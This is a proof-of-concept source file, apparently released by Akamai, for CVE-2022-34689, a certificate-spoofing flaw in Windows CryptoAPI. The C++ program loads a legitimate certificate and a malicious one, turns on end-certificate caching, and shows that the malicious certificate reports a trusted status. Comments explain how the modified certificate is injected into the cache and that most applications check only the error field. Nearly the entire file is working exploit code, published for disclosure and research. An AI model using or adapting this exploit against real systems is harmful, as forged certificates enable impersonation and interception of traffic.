| 1 | + | /* CVE-2022-34689 PoC code |
| 2 | + | * Copyright 2023 Akamai Technologies, Inc. |
| 3 | + | * |
| 4 | + | * Licensed under the Apache License, Version 2.0 (the |
| 5 | + | * "License"); you may not use this file except in |
| 6 | + | * compliance with the License. You may obtain a copy |
| 7 | + | * of the License at |
| 8 | + | * |
| 9 | + | * https://www.apache.org/licenses/LICENSE-2.0 |
| 10 | + | * |
| 11 | + | * Unless required by applicable law or agreed to in |
| 12 | + | * writing, software distributed under the License is |
| 13 | + | * distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR |
| 14 | + | * CONDITIONS OF ANY KIND, either express or implied. |
| 15 | + | * See the License for the specific language governing |
| 16 | + | * permissions and limitations under the License. |
| 17 | + | */ |
| 18 | + | |
| 19 | + | |
| 20 | + | #pragma comment(lib, "crypt32.lib") |
| 21 | + | |
| 22 | + | #include <stdio.h> |
| 23 | + | #include <windows.h> |
| 24 | + | #include <Wincrypt.h> |
| 25 | + | #include <wchar.h> |
| 26 | + | #include <string> |
| 27 | + | #include <iostream> |
| 28 | + | |
| 29 | + | #define MY_ENCODING_TYPE (PKCS_7_ASN_ENCODING | X509_ASN_ENCODING) |
| 30 | + | #define CERTIFICATE_BUFFER_SIZE 8192 |
| 31 | + | |
| 32 | + | HANDLE certLegitFileHandle = NULL; |
| 33 | + | HANDLE certMaliciousFileHandle = NULL; |
| 34 | + | LPWSTR pszNameString; |
| 35 | + | CERT_CHAIN_PARA ChainPara; |
| 36 | + | |
| 37 | + | using namespace std; |
| 38 | + | void MyHandleError(string s); |
| 39 | + | HCERTCHAINENGINE create_chain_engine() { |
| 40 | + | |
| 41 | + | CERT_CHAIN_ENGINE_CONFIG ChainConfig; |
| 42 | + | CERT_ENHKEY_USAGE EnhkeyUsage; |
| 43 | + | CERT_USAGE_MATCH CertUsage; |
| 44 | + | HCERTCHAINENGINE hChainEngine; |
| 45 | + | HCERTSTORE hCertStore; |
| 46 | + | |
| 47 | + | // Initialize CertEngine configurations |
| 48 | + | if (!(pszNameString = (LPWSTR)malloc(256))) |
| 49 | + | MyHandleError("Memory allocation failed."); |
| 50 | + | EnhkeyUsage.cUsageIdentifier = 0; |
| 51 | + | EnhkeyUsage.rgpszUsageIdentifier = NULL; |
| 52 | + | CertUsage.dwType = USAGE_MATCH_TYPE_AND; |
| 53 | + | CertUsage.Usage = EnhkeyUsage; |
| 54 | + | ChainPara.cbSize = sizeof(CERT_CHAIN_PARA); |
| 55 | + | ChainPara.RequestedUsage = CertUsage; |
| 56 | + | |
| 57 | + | ChainConfig.cbSize = sizeof(CERT_CHAIN_ENGINE_CONFIG); |
| 58 | + | ChainConfig.hRestrictedRoot = NULL; |
| 59 | + | ChainConfig.hRestrictedTrust = NULL; |
| 60 | + | ChainConfig.hRestrictedOther = NULL; |
| 61 | + | ChainConfig.cAdditionalStore = 1; |
| 62 | + | //the flag CERT_CHAIN_CACHE_END_CERT will enable the caching mechanism for end certificates |
| 63 | + | //which will allow us to inject our modified legitimate certificate into the cache. |
| 64 | + | ChainConfig.dwFlags = CERT_CHAIN_CACHE_END_CERT; |
| 65 | + | ChainConfig.dwUrlRetrievalTimeout = 0; |
| 66 | + | ChainConfig.MaximumCachedCertificates = 11; |
| 67 | + | ChainConfig.CycleDetectionModulus = 0; |
| 68 | + | ChainConfig.hExclusiveRoot = NULL; |
| 69 | + | ChainConfig.hExclusiveTrustedPeople = NULL; |
| 70 | + | if (! (hCertStore = CertOpenSystemStore(NULL, L"CA"))) |
| 71 | + | { |
| 72 | + | MyHandleError("The CA system store did not open."); |
| 73 | + | } |
| 74 | + | ChainConfig.rghAdditionalStore = &hCertStore; |
| 75 | + | |
| 76 | + | // Create the custom certificate chain engine from the configuration. |
| 77 | + | |
| 78 | + | if (CertCreateCertificateChainEngine( |
| 79 | + | &ChainConfig, |
| 80 | + | &hChainEngine)) |
| 81 | + | { |
| 82 | + | printf("[V] The chain engine has been created.\n"); |
| 83 | + | } |
| 84 | + | else |
| 85 | + | { |
| 86 | + | MyHandleError("[X] The engine creation function failed."); |
| 87 | + | } |
| 88 | + | return NULL; |
| 89 | + | } |
| 90 | + | bool get_user_cert_context(PCCERT_CONTEXT* context) |
| 91 | + | { |
| 92 | + | CERT_CONTEXT pDesiredCert; |
| 93 | + | BOOL result = FALSE; |
| 94 | + | string certFile; |
| 95 | + | HRESULT hr = S_OK; |
| 96 | + | BYTE certEncoded[CERTIFICATE_BUFFER_SIZE] = { 0 }; |
| 97 | + | DWORD certEncodedSize = 0L; |
| 98 | + | |
| 99 | + | for (int i = 0; i < 2; i++) |
| 100 | + | { |
| 101 | + | printf("[+] Enter certificate path: "); |
| 102 | + | cin >> certFile; |
| 103 | + | certLegitFileHandle = CreateFileA(certFile.c_str(), |
| 104 | + | GENERIC_READ, |
| 105 | + | 0, |
| 106 | + | NULL, |
| 107 | + | OPEN_EXISTING, |
| 108 | + | FILE_ATTRIBUTE_NORMAL, |
| 109 | + | NULL); |
| 110 | + | if (INVALID_HANDLE_VALUE == certLegitFileHandle) { |
| 111 | + | hr = HRESULT_FROM_WIN32(GetLastError()); |
| 112 | + | MyHandleError("Cert file could not be opened!"); |
| 113 | + | } |
| 114 | + | |
| 115 | + | if (!SUCCEEDED(hr)) { |
| 116 | + | return -1; |
| 117 | + | } |
| 118 | + | printf("[V] Cert file opened!\n"); |
| 119 | + | if (GetFileSize(certLegitFileHandle, NULL) <= CERTIFICATE_BUFFER_SIZE) { |
| 120 | + | result = ReadFile(certLegitFileHandle, |
| 121 | + | certEncoded, |
| 122 | + | CERTIFICATE_BUFFER_SIZE, |
| 123 | + | &certEncodedSize, |
| 124 | + | NULL); |
| 125 | + | if (!result) { |
| 126 | + | return -1; |
| 127 | + | MyHandleError("Cert reading error"); |
| 128 | + | } |
| 129 | + | else |
| 130 | + | { |
| 131 | + | printf("[*] Cert file read to buffer!\n"); |
| 132 | + | pDesiredCert.cbCertEncoded = certEncodedSize; |
| 133 | + | pDesiredCert.pbCertEncoded = certEncoded; |
| 134 | + | //create a certificate context from the given certificate |
| 135 | + | if (context[i] = CertCreateCertificateContext( |
| 136 | + | MY_ENCODING_TYPE, // The encoding type |
| 137 | + | pDesiredCert.pbCertEncoded, // The encoded data from |
| 138 | + | pDesiredCert.cbCertEncoded)) // The length of the encoded data |
| 139 | + | { |
| 140 | + | printf("[V] A new certificate Context has been created.\n"); |
| 141 | + | printf("[*] Cert size of the cert is: %p\n", pDesiredCert.cbCertEncoded); |
| 142 | + | printf("[*] Cert size of the cert in context: %p\n", context[i]->cbCertEncoded); |
| 143 | + | } |
| 144 | + | } |
| 145 | + | } |
| 146 | + | |
| 147 | + | } |
| 148 | + | return 1; |
| 149 | + | |
| 150 | + | } |
| 151 | + | string return_status(PCCERT_CHAIN_CONTEXT pChainContext) |
| 152 | + | { |
| 153 | + | //--------------------------------------------------------------- |
| 154 | + | // Display some of the contents of the chain. |
| 155 | + | |
| 156 | + | /*printf("[*] The size of the chain context " |
| 157 | + | "is %d. \n", pChainContext->cbSize); |
| 158 | + | printf("[*] %d simple chains found.\n", pChainContext->cChain); |
| 159 | + | |
| 160 | + | printf("\nInfo status for the chain:\n"); |
| 161 | + | DWORD infoStatus = pChainContext->TrustStatus.dwInfoStatus; |
| 162 | + | |
| 163 | + | if ((infoStatus & CERT_TRUST_HAS_EXACT_MATCH_ISSUER) != 0) |
| 164 | + | { |
| 165 | + | printf("An exact match issuer certificate has been found for " |
| 166 | + | "this certificate.\n"); |
| 167 | + | } |
| 168 | + | if ((infoStatus & CERT_TRUST_HAS_KEY_MATCH_ISSUER) != 0) |
| 169 | + | { |
| 170 | + | printf("A key match issuer certificate has been found for this " |
| 171 | + | "certificate.\n"); |
| 172 | + | } |
| 173 | + | if ((infoStatus & CERT_TRUST_HAS_NAME_MATCH_ISSUER) != 0) |
| 174 | + | { |
| 175 | + | printf("A name match issuer certificate has been found for this " |
| 176 | + | "certificate.\n"); |
| 177 | + | } |
| 178 | + | if ((infoStatus & CERT_TRUST_IS_SELF_SIGNED) != 0) |
| 179 | + | { |
| 180 | + | printf("This certificate is self-signed.\n"); |
| 181 | + | } |
| 182 | + | if ((infoStatus & CERT_TRUST_IS_COMPLEX_CHAIN) != 0) |
| 183 | + | { |
| 184 | + | printf("The certificate chain created is a complex chain.\n"); |
| 185 | + | } |
| 186 | + | else // No dwInfoStatus bits set |
| 187 | + | { |
| 188 | + | printf("No information status reported.\n"); |
| 189 | + | }*/ |
| 190 | + | DWORD errorStatus = pChainContext->TrustStatus.dwErrorStatus; |
| 191 | + | if ((errorStatus & CERT_TRUST_IS_NOT_TIME_VALID) != 0) |
| 192 | + | { |
| 193 | + | return "This certificate or one of the certificates in the " |
| 194 | + | "certificate chain is not time-valid."; |
| 195 | + | } |
| 196 | + | if ((errorStatus & CERT_TRUST_IS_REVOKED) != 0) |
| 197 | + | { |
| 198 | + | return "Trust for this certificate or one of the certificates " |
| 199 | + | "in the certificate chain has been revoked."; |
| 200 | + | } |
| 201 | + | if ((errorStatus & CERT_TRUST_IS_NOT_SIGNATURE_VALID) != 0) |
| 202 | + | { |
| 203 | + | return "The certificate or one of the certificates in the " |
| 204 | + | "certificate chain does not have a valid signature."; |
| 205 | + | } |
| 206 | + | if ((errorStatus & CERT_TRUST_IS_NOT_VALID_FOR_USAGE) != 0) |
| 207 | + | { |
| 208 | + | return "The certificate or certificate chain is not valid " |
| 209 | + | "in its proposed usage."; |
| 210 | + | } |
| 211 | + | if ((errorStatus & CERT_TRUST_IS_UNTRUSTED_ROOT) != 0) |
| 212 | + | { |
| 213 | + | return "The certificate or certificate chain is based " |
| 214 | + | "on an untrusted root."; |
| 215 | + | } |
| 216 | + | if ((errorStatus & CERT_TRUST_REVOCATION_STATUS_UNKNOWN) != 0) |
| 217 | + | { |
| 218 | + | return "The revocation status of the certificate or one of the" |
| 219 | + | "certificates in the certificate chain is unknown."; |
| 220 | + | } |
| 221 | + | if ((errorStatus & CERT_TRUST_IS_CYCLIC) != 0) |
| 222 | + | { |
| 223 | + | return "One of the certificates in the chain was issued by a " |
| 224 | + | "certification authority that the original certificate " |
| 225 | + | "had certified."; |
| 226 | + | } |
| 227 | + | if ((errorStatus & CERT_TRUST_IS_PARTIAL_CHAIN) != 0) |
| 228 | + | { |
| 229 | + | return "The certificate chain is not complete."; |
| 230 | + | } |
| 231 | + | if ((errorStatus & CERT_TRUST_CTL_IS_NOT_TIME_VALID) != 0) |
| 232 | + | { |
| 233 | + | return "A CTL used to create this chain was not time-valid."; |
| 234 | + | } |
| 235 | + | if ((errorStatus & CERT_TRUST_CTL_IS_NOT_SIGNATURE_VALID) != 0) |
| 236 | + | { |
| 237 | + | return "A CTL used to create this chain did not have a valid " |
| 238 | + | "signature."; |
| 239 | + | } |
| 240 | + | if ((errorStatus & CERT_TRUST_CTL_IS_NOT_VALID_FOR_USAGE) != 0) |
| 241 | + | { |
| 242 | + | return "A CTL used to create this chain did not have a valid " |
| 243 | + | "signature."; |
| 244 | + | } |
| 245 | + | else // Chain is trusted |
| 246 | + | { |
| 247 | + | return "CERT_TRUST_NO_ERROR"; |
| 248 | + | } |
| 249 | + | } |
| 250 | + | int main() |
| 251 | + | { |
| 252 | + | |
| 253 | + | HCERTCHAINENGINE hChainEngine = NULL; |
| 254 | + | PCCERT_CHAIN_CONTEXT pChainContext; |
| 255 | + | DWORD dwFlags= CERT_CHAIN_CACHE_END_CERT; |
| 256 | + | PCCERT_CONTEXT pCertContext[2]; |
| 257 | + | HRESULT hr = S_OK; |
| 258 | + | string results[2]; |
| 259 | + | //this CVE applies to applications that enabled their cache for end certificates, to do that the applications need to use the dwflag CERT_CHAIN_CACHE_END_CERT |
| 260 | + | //We can either specify it directly to the function or create a chain engine that uses this flag |
| 261 | + | // enable this to create a chain engine with the right flag |
| 262 | + | //hChainEngine = create_chain_engine(); |
| 263 | + | |
| 264 | + | //get the user certificates as input and convert them to PCCERT_CONTEXT struct |
| 265 | + | get_user_cert_context(pCertContext); |
| 266 | + | //CertGetCertificateChain is the WinAPI that calls the internal vulnerable functions |
| 267 | + | //here we supply the chain engine with the correct flag and our certificate contexts we got from the user |
| 268 | + | //when the function return we print the TrustStatus of both pChainContexts |
| 269 | + | for (int i = 0; i <= 1; i++) |
| 270 | + | { |
| 271 | + | if (CertGetCertificateChain |
| 272 | + | (hChainEngine, |
| 273 | + | pCertContext[i], |
| 274 | + | NULL, |
| 275 | + | NULL, |
| 276 | + | &ChainPara, |
| 277 | + | dwFlags, |
| 278 | + | NULL, |
| 279 | + | &pChainContext)) |
| 280 | + | { |
| 281 | + | printf("[*] The chain context has been created. \n"); |
| 282 | + | //when we inspect the pChainContext.TrustStatus.dwErrorStatus it shows as valid with no errors |
| 283 | + | //most application dont use CertVerifyCertificateChainPolicy and only check this field |
| 284 | + | results[i] = return_status(pChainContext); |
| 285 | + | // When finished, free the certificate context. |
| 286 | + | CertFreeCertificateContext(pCertContext[i]); |
| 287 | + | CertFreeCertificateChain(pChainContext); |
| 288 | + | } |
| 289 | + | else |
| 290 | + | { |
| 291 | + | MyHandleError("[X] The chain could not be created."); |
| 292 | + | CloseHandle(certLegitFileHandle); |
| 293 | + | CloseHandle(certMaliciousFileHandle); |
| 294 | + | return -1; |
| 295 | + | } |
| 296 | + | } |
| 297 | + | printf("[!] TrustStatus for first certificate: %s\n", results[0].c_str()); |
| 298 | + | printf("[!] TrustStatus for second Certificate: %s\n", results[1].c_str()); |
| 299 | + | |
| 300 | + | //--------------------------------------------------------- |
| 301 | + | // Free handles |
| 302 | + | CertFreeCertificateChainEngine(hChainEngine); |
| 303 | + | CloseHandle(certLegitFileHandle); |
| 304 | + | CloseHandle(certMaliciousFileHandle); |
| 305 | + | // Free memory for pszNameString. |
| 306 | + | if (pszNameString) |
| 307 | + | free(pszNameString); |
| 308 | + | printf("[*] All handles have been released.\n"); |
| 309 | + | } // end main |
| 310 | + | |
| 311 | + | //------------------------------------------------------------------- |
| 312 | + | // Microsofts MyHandleError, a simple error |
| 313 | + | // handling function to print an error message and exit |
| 314 | + | // the program. |
| 315 | + | |
| 316 | + | void MyHandleError(string s) |
| 317 | + | { |
| 318 | + | fprintf(stderr, "[E] An error occurred in running the program. \n"); |
| 319 | + | fprintf(stderr, "[E] %s\n", s.c_str()); |
| 320 | + | fprintf(stderr, "[E] Error number %x.\n", GetLastError()); |
| 321 | + | fprintf(stderr, "[*] Program terminating. \n"); |
| 322 | + | exit(1); |
| 323 | + | } // end MyHandleError |
| 324 | + | |